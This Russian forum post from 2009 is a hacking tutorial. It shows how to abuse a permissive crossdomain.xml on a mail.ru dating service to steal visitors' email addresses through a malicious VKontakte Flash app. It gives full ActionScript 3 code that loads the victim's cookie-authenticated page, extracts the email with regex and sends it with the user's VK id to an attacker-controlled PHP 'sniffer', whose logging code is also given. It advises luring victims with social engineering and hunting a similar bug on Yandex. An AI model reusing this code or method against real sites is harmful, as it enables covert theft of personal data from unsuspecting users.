Показать сообщение отдельно

Получаем данные с другого домена через Flash на примере VK и mail.ru
  #1  
Старый 03.11.2009, 04:31
Аватар для zavra
zavra
Участник форума
Регистрация: 12.03.2008
Сообщений: 159
Провел на форуме:
912928

Репутация: 137
Отправить сообщение для zavra с помощью ICQ
По умолчанию Получаем данные с другого домена через Flash на примере VK и mail.ru

Предисловие
Сегодня я хочу рассказать вам о том, как можно заполучить информацию, доступную пользователю на одном сайте (mail.ru), через другой сайт (vkontakte.ru) используя технологию Flash и ActionScript 3 конкретно.

Основная идея состоит в том, что сервер mail.ru, проверяя куки пользователя, находит в них свои, и подставляет в форму для логина e-mail пользователя.
Этим мы и воспользуемся. "Но у нас же нету кук жертвы, как мы сможем узнать ее адрес?" — спросите вы. Вот тут-то нам на помощь и приходит Flash.


С его помощью мы можем загружать любые совершенно страницы из Всемирной Сети, и, если у пользователя есть куки на этом сервере, то загрузятся его данные. К примеру если пользователь авторизован на сервере mail.ru, мы могли бы загрузить всю его почту. Но не все так просто, потому что есть одно но: именно для защиты от таких умников, и ввели защиту. Она состоит в том, что для того, чтобы загрузить данные с другого домена, на нем должен быть файл политики безопасности.

Файл Политики Безопасности
Файл этот представляет собой xml страницу с именем crossdomain.xml, содержащий в себе домены, с которых разрешен доступ к данным на сервере, в корне которого лежит этот самый файл. Зайдем на http://win.mail.ru/crossdomain.xml — домен с почтой.
PHP код:
<cross-domain-policy>
    <
allow-access-from domain="*.mail.ru"/>
 </
cross-domain-policy
И что же мы видим? А именно то, что ни с какого другого сайта кроме самого mail.ru и его поддоменов мы не сможем просмотреть письма жертвы. Иными словами, зайти с vkontakte.ru и слить всю почту у нас не получится. Однако давайте поищем такой сервис mail.ru, у которого crossdomain.xml содержал бы
PHP код:
<cross-domain-policy>
<
allow-access-from domain="*"/>
</
cross-domain-policy
Это значит, что получить доступ к страницам такого сервиса мы можем откуда угодно, в нашем случае — с vkontakte.ru через сервис Приложения.
И искать мы будем на странице всех проектов: http://mail.ru/all/.

Так, может Игры Mail.ru?
PHP код:
<cross-domain-policy>
  <
allow-access-from domain="*.mail.ru" to-ports="80,443,10999"/>
  <
site-control permitted-cross-domain-policies="all"/>
 </
cross-domain-policy
Нет, опять только с mail.ru.

Тогда попробуем Рейтинг Mail.ru:
PHP код:
<cross-domain-policy>
  <
allow-access-from domain="195.218.191.64" to-ports="80"/>
  <
allow-access-from domain="top.mail.ru" to-ports="80"/>
  <
allow-access-from domain="www.top.mail.ru" to-ports="80"/>
  <
site-control permitted-cross-domain-policies="all"/>
 </
cross-domain-policy
Опять не то.

Пробуем Знакомства Mail.ru:
PHP код:
<cross-domain-policy>
<
site-control permitted-cross-domain-policies="all"/>
  <
allow-access-from domain="*"/>
 </
cross-domain-policy
Да это именно то, что нам нужно!

Знакомства c Mail.ru
Ну и что дальше, сдалась нам извращенная переписка жертвы с милыми самочками, ну или несамочками, неважно. Так дело в том, что если юзер не авторизирован там, и даже никогда не заходил туда, на странице http://lоve.mаil.ru/tips/?tip=Login отображается его e-mail, в случае если на компьютере есть куки mail.ru:
.
А это значит, что в сочетании с политикой безопасности, разрешающей доступ с любого домена, мы можем получить почту жертвы с vkontakte.ru. Для этого я написал небольший корявый скрипт, записывающий на наш сервер id и почту пользователя. Внимание: вам понадобится PHP на хостинге!

Техническая Часть
Писать будем на AS3, использую новую модную функцию для приложений VK -- Контейнер. Так же попросим жертву установить приложение на страницу.
PHP код:
var wrapper:Object;
var 
viewer_id:String;
var 
is_app_user:String;
var 
email:String;

error.visible false;
alert.visible false;

var 
url:String "http://hosting.ru/snf.php"// этот адрес заменяете на свой

var mailLoad:URLLoader = new URLLoader;
var 
req:URLRequest = new URLRequest(url);
var 
vars:URLVariables = new URLVariables();

this.addEventListener(Event.ADDED_TO_STAGEonAdded);
function 
onAdded(e:Event) {
    
wrapper Object(this.parent.parent);
    var 
parameters:Object Object(wrapper.application.parameters);
    
wrapper.application.frameRate="12";
    
viewer_id parameters["viewer_id"];
    
is_app_user  parameters["is_app_user"];
    if (
is_app_user == "0") {
        
alert.visible true;
    }
    
mailLoad.addEventListener(Event.COMPLETEonLoaded);
    
//загружаем страницу с формой входа
    
mailLoad.load(new URLRequest("http://love.mail.ru/tips/?tip=Login")); 
}
function 
onLoaded(e:Event) {
    var 
answ e.target.data;

    try {
        
//проверяем на наличие логина...
        
var mailIn:RegExp=/name="login" value="(\w+)"/;
        
//..и домена (mail/ibox/list/bk)
        
var domainIn:RegExp=/value="(\w+).ru" selected/;

        var 
mail_res:Object mailIn.exec(answ);
        var 
domain_res:Object domainIn.exec(answ);

        var 
mailOut:String mail_res[1].toString();
        var 
domainOut:String domain_res[1].toString();

    } catch (
err:Error) {
        
email "fail"+err.message;
    }
    
vars.id viewer_id;
    
vars.email mailOut+"@"+domainOut+".ru";

    
req.data vars;
    
req.method URLRequestMethod.POST;
    
//отправляем полученные данные на наш сервер
    
sendToURL(req);
}

Сниффер на сервер (snf.php):
PHP код:
<?php
$f
=fopen("mail.txt","at");
flock($f,2);
fputs($f,$_POST['id'].":");#id
fputs($f,$_POST['email']);
flock($f,3);
fclose($f);
?>
Должно работать, только что тестил. Для компиляции вам понадобится Adobe CS3/4. Дизайн панелек в исходниках.

Все, что осталось сделать, так это скомпилировать, загрузить вКонтакт и дать жертве ссылку на приложение, на всякий случай предварительно как-нибудь вынудив ее проверить почту (не обязательно, но может чуть увеличить шансы на успех). Как это сделать уже топик для социальной инженерии.

Исходники
http://file.qip.ru/file/106387316/4345b90a/mailru.html

Заключение
Вот так вот относительно просто мы получили e-mail жертвы, заодно вникнув в основы Flash-приложений и файла политики безопасности. Хотелось бы отметить, что если стоит <allow-access-from domain="*"/> , то определенно точно можно получить какую-либо выгоду, если правильно выбрать жертву. Что-то типа XSS, но более направленное и точечное.

Так же еще скажу, что на Яндексе на одном из проектов тоже наблюдается такой баг. Для закрепления материала предлагаю вам самим поискать его Удачи!


Последний раз редактировалось zavra; 03.11.2009 в 23:45..
 
Ответить с цитированием